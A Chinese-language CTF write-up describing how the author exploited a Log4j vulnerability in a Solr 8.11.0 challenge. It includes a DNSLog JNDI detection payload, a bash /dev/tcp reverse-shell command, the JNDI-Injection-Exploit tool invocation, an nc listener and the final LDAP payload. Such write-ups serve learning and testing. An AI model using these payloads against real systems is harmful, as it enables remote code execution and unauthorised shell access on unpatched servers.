文章目录
前言
比赛出了一个题目,发现有log4j漏洞但是需要反弹shell才能拿到flag,一开始试了几个工具都没有成功反弹shell,直到看到了这篇优秀博文,在此感谢这位师傅~
本文记录一下log4j反弹shell的这个过程,仅供各位师傅参考~
去更远的地方 见更亮的光
工具
测试了部分工具发现这个比较好用一点,可以直接github下载也可以到我的网盘上下载
girhub:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
网盘链接:https://pan.baidu.com/s/13cz9sZzMJcF9s1y7E7sOWw
提取码:qwer
Log4j 漏洞测试
题目给了一个solr环境,通过首页可以看到版本为8.11.0
在DNSLog上获取一个域名
通过solr的API测试log4j漏洞是否存在,具体的payload如下:
/solr/admin/cores?action=${
jndi:ldap://${
sys:java.version}.jprd1u.dnslog.cn}
在DNSlog平台上成功回显
至此可以推测目标环境存在log4j漏洞
Log4j 反弹shell
接下来就需要用到上面的工具和一台公网服务器了,首先把工具上传,将反弹shell的命令进行base64编码:
bash -i >& /dev/tcp/your_ip/6666 0>&1
用base64在线网站进行编码后填入下面的命令中,同时需要填入服务器的IP地址
执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码}|{base64,-d}|{bash,-i}" -A "服务器IP"
接下来在服务器上开启监听,我这里用的是5555端口
nc -lvp 5555
根据目标环境选择payload如下:
${
jndi:ldap://IP:1389/2u3m9p}
用payload进行测试
成功反弹shell
后记
如有其他疑问欢迎评论留言~